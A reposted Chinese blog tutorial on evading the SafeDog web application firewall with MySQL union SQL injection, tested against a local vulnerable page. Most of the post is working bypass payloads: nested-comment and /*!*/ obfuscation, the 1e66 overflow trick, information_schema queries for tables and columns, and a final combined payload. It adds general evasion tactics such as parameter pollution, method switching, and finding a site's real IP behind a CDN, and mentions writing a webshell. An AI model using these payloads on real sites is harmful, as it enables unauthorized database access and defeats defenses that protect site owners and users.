MySQL联合注入之绕过安全狗到GetShell【转载】

 

发现网上公开过安全狗的方法少之又少,而且基本都是给个大概点就结束,本文章是将整个过程记录了一遍,因为一开始我也没想到我能成功的绕过去。

大概过程是这样:Mysql基础必须要有–>定位—>fuzz—>得出分析结果–>手工测试—>成功绕过。

网站安全狗: 面向网站安全,包括:网马扫描及查杀(自有引擎,只针对网页木马);网马主动防御功能(可主动拦截网马 上传和访问的动作);防SQL注入功能、防XSS跨站攻击 功能;防盗链防下载;以及防止CC攻击。

相关代码

 

测试过程

为了得到更好的测试,我写了21行的漏洞代码,用来模拟攻击,并且在本机搭建了安全狗,选择了4.0最新版本,在测试的过程中,碰到了各种各样的阻挡,最后成功绕过了安全狗,以下是全部过程(边写文章边绕)。

请求 :

http://127.0.0.1/1.php?id=1 and 1=1

 

 

判断是否存在SQL注入: 
我们改成http://127.0.0.1/1.php?id=1and asd #没有被拦 http://127.0.0.1/1.php?id=1 axnxd 1=1 #没有被拦 得出结论 是正则匹配 只要把asd变型 或者 把axnxd 变型即可 
http://127.0.0.1/1.php?id=1 %26%26 true #真 http://127.0.0.1/1.php?id=1 %26%26 false #假 http://127.0.0.1/1.php?id=1 %26%26 1 #真 http://127.0.0.1/1.php?id=1 %26%26 0 #假

 

 

加上两点:

如果判断SQL注入并且是Int类型注入:

http://127.0.0.1/1.php?id=2-1

由于这个INT注入类型没有进行转义成INT类型 所以就可以操作加减乘除法

http://127.0.0.1/1.php?id=2-1

实际上就成了

http://127.0.0.1/1.php?id=1#2

减1等于1 这样成功绕过了判断是否存在SQL注入

判断字段: Order by xx #居然没有被拦

安全狗是昨天(2018年5月16)下载的 由于我怕自己的日志被上传到日志服务器安全人员会进行分析 然后得出绕过安全狗的SQL语句,所以我就断网了。

进行联合注入:

变型之前首先知道要改哪个位置

http://127.0.0.1/1.php?id=1xunion(select1,2)

把注意力转换到X这个字节上。我们可以进行fuzz。但是我个人还是喜欢手工一个一个挨个的试。

这里结合了一篇老外的文章:

https://medium.com/bugbountywriteup/sql-injection-in-ctf-bef1ae0c5d9b

原理就是利用INT溢出进行绕过空格

还是被拦截继续变型找出关键所在位置

http://127.0.0.1/1.php?id=1e66union(1select1,2)

关键位置在1.这个位置需要变型

http://127.0.0.1/1.php?id=1e66union((select1,2))
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
http://127.0.0.1/1.php?id=1e66union(/**/select1,2)
http://127.0.0.1/1.php?id=1e66union(/*!x*/select1,2)

得出结论: 我们可以利用/*!*/来进行变型 
但是问题是: /*!一开始不能是数字*/ 
或者不能是/*!%数字开头*/ 
或者不能使 少部分/*!%[a-z0-9]*/ 
我们继续变型 进行fuzz(不使用工具,手工一个一个挨个的试,因为请求太快被封IP,除非设置延迟一秒请求一次) 
又得出了变型思路 
http://127.0.0.1/1.php?id=1e66union(/*(x/*–*/)*/select~1,2)

SQL语法错误 位置’)*/select~1,2)’

原理: (/*(x/*–*/)*/

解释: /* (/*(x/*–*/ 到了这里就会被是作为注释我们直接转义即可

 

 http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select1,2)

这里可以用~取代空格。或者括号都行

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,2)

更复杂一点的:

注入获取相关信息获取数据库:

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database())

查找关键位置

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database(心东x))

 

锁定心东x是关键所在位置

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(%0d)) 
http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(%0d%0a)) 
http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database( %20%20 )) 
http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(多个字节)) 
http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database(/*(ddddd/*\/)*/))

 

 获取表: 

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,table_namefrom information_schema.tables where table_schema=database())

继续定位:

最后定位在database(); 分析了一下安全狗真的那么垃?这样都不会被拦。。 其实不是, 因为关键点在 ~1这里

这个位置也是定位的关键位置 如果替换成空格就 会被拦截 还有union那里

获取字段:

 http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select(1),column_namefrom information_schema.columns where table_name=’myadmin’ and table_schema=’test’ limit 0,1)

继续定位:

 http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select(1),column_namefrom information_schema.columns where table_name=’myadmin’ and table_schema=’test’ limit 0,1)

得到位置 利用各种运算符 && || 还有 | (位或运算符 取决于优先级)等 说一下位或运算符的原理: 位运算需要把字母或者数字转换为二进制,然后一位位进行对比,比如:

37的二进制是100101 38的二进制是100110 结果: 100101 => 100110 = 100111 100101 100110 然后按位。。 结果 100111 也就是十进制的39

select ’2′|’x'=’x'; 优先级问题:

= 的优先级比 | 小 所以先计算’2′|’x’

获取数据内容:

读取文件内容:

没有被拦 分析了一下 主要核心是

这两点即可绕过导出数据库(黑客所说的写入shell)但是按照专业的话来说应该是导出数据库

定位:

本地测试:

/**/可以代替空格 或者 换行回车

 

总结:变型的位置不止一个,千变万化,位置实在绕不过可以换别的地方例如: 不知道定位位置 我们可以选择盲绕

比如: 

http://127.0.0.1/1.php?id=1111e66union(/*(q/*-q-q*q\/q)*/select@1,(column_namE)from(`iNformation_schema`/*!.*/`columns`)where(/*\/*/`table_name`)like(0x6D7961646D696E)%26%26`table_schema`like(0×74657374))

 

 补充分析

这里我补充一点

我们可以尝试着找出一些服务漏洞 例如IIS 可以利用百分号

或者找一下参数污染漏洞a=1&a=2&a=3

我们还可以利用一些其他请求进行绕过。

比如GET请求换POST,POST请求换成multipart/form-data。

或许可以想象他的代码 比如我们提交 selselectect 他查找危险SQL语句 把危险的删掉 最后变成了select。还有参数溢出。

我印象最深的绕过WAF是3层防火墙,CDN第一层,WAF设备(设备机器)

第二层,WAF软件(安全狗,360,各种)

第三层 第一层: CDN 提交一些危险SQL语句 会被拦截,找出真实IP即可绕过 第二层: 设备防火墙 正则匹配变形即可 第三层: 软件防火墙 试了各种方法绕不过去,但是利用了参数溢出就绕过了。至今还弄不懂原理(目标nginx 按理来说应该返回414或405错误)

posted @ 2018-05-24 14:12  小生观察室  阅读(239)  评论(0编辑  收藏  举报